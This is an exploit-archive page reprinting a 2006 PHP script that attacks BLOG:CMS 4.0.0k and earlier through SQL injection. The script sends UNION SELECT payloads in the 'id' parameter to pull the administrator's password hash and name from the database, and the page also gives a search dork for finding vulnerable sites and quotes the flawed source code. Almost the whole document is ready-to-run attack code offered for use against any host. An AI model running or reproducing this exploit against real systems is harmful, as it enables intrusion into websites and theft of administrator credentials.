Advertisement






BLOG:CMS <= 4.0.0k sql injection

CVE Category Price Severity
CVE-XXXX-XXXX CWE-89 Unknown High
Author Risk Exploitation Type Date
Unknown Critical Remote 2006-07-13
CVSS EPSS EPSSP
CVSS: 3.1 0 0

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006070044

Below is a copy:

#!/usr/bin/php -q -d short_open_tag=on

<?

echo "BLOG:CMS <= 4.0.0k sql injection/admin credentials disclosure exploitn";

echo "by rgod rgod (at) autistici (dot) org [email concealed]n";

echo "site: http://retrogod.altervista.orgn";

echo "dork: "Powered by BLOG:CMS"|"Powered by blogcms.com"|"2003-2004, Radek Huln"nn";

if ($argc<3) {

echo "Usage: php ".$argv[0]." host path OPTIONSn";

echo "host:      target server (ip/hostname)n";

echo "path:      path to BLOG:CMSn";

echo "Options:n";

echo "   -p[port]:    specify a port other than 80n";

echo "   -P[ip:port]: specify a proxyn";

echo "   -T[prefix]:  specify a table prefix (default: none)n";

echo "Example:n";

echo "php ".$argv[0]." localhost /blog/n";

die;

}

/* software site: http://blogcms.com/

i) vulnerable code in index.php, lines 19-36:

...

// NP_SEO plugin redirect

if (isset($_GET['id'])){

$query=sql_query("select url from ".sql_table("plug_seo")." where id='".undoMagic($_GET['id'])."'");

if ($row=sql_fetch_object($query)) {

$row->url=stripslashes($row->url);

$redirect=true;

if (strpos($row->url,'|noseo|')!==false) {

$arr=explode(",",'msnbot,googlebot,crawler,centrum');

foreach ($arr as $s) if (strstr($_SERVER["HTTP_USER_AGENT"],$s)) $redirect=false;

$arr=explode(",",'downloader.seznam,inktomi,yahoo,altavista,fasttrack,ex
cite,hotbot,alltheweb,yahoo');

$dns = strtolower(@gethostbyaddr($_SERVER["REMOTE_ADDR"]));

foreach ($arr as $s) if (strstr($dns,$s)) $redirect=false;

$row->url=str_replace('|noseo|','',$row->url);

}

if ($redirect) header('Location: '.unhtmlentities($row->url));

}

unset($query);

}

...

"id" argument is not sanitized before to be used in a sql query...

also you can inject sql statements regardless of magic_quotes_gpc settings,

look at undoMagic() function in vars4.1.0.php:

// removes magic quotes if that option is enabled

function undoMagic($data) {

return get_magic_quotes_gpc() ? stripslashes($data) : $data;

}

very nice code :)

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.="  .";}

else

{$result.="  ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}

}

return $exa."rn".$result;

}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "rn".$html;

}

$host=$argv[1];

$path=$argv[2];

$port=80;

$proxy="";

$prefix="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-T")

{

$prefix=str_replace("-T","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$sql="9999999'/**/UNION/**/SELECT/**/mpassword/**/FROM/**/".$prefix."nuc
leus_member/**/WHERE/**/mnumber=1/*"; //id = 2, admin

$sql=urlencode($sql);

$packet ="GET ".$p."?id=$sql HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("Location: ",$html);

$temp2=explode("n",$temp[1]);

$temp2[0]=trim($temp2[0]);

if (($temp2[0]<>"") and (!strstr($temp2[0],"http")) and (!strstr($temp2[0],"UNION")))

{

if (strlen($temp2[0])==40) {$type="sha1";}

if (strlen($temp2[0])==32) {$type="md5";}

echo "exploit succeded...n";

echo "password (".$type.")-> ".$temp2[0]."n";

$sql="9999999'/**/UNION/**/SELECT/**/mrealname/**/FROM/**/".$prefix."nuc
leus_member/**/WHERE mnumber=1/*";

$sql=urlencode($sql);

$packet ="GET ".$p."?id=$sql HTTP/1.0rn";

$packet.="Host: ".$host."rn";

$packet.="Connection: Closernrn";

sendpacketii($packet);

$temp=explode("Location: ",$html);

$temp2=explode("n",$temp[1]);

echo "admin -> ".$temp2[0]."n";

}

else

{

//debug

echo $html."rn";

echo "exploit failed... see htmln";

}

?>

original url: http://retrogod.altervista.org/blogcms_400k_sql.html

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum